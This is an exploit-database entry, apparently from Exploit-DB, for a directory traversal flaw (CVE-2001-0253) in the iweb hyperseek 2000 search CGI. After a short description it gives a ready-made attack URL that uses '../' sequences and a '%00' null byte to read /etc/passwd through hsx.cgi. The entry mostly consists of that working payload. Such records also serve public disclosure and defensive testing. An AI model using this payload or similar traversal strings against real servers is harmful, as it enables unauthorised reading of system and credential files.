iweb hyperseek 2000 - Directory Traversal

Author: MC GaN
type: remote
platform: multiple
port: 
date_added: 2001-01-28  
date_updated: 2012-08-17  
verified: 1  
codes: CVE-2001-0253;OSVDB-498  
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raw file: 20601.txt  

source: https://www.securityfocus.com/bid/2314/info

A specially crafted URL, composed of '../' and '%00', will disclose the directory listing and files of the target with read permissions.

http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00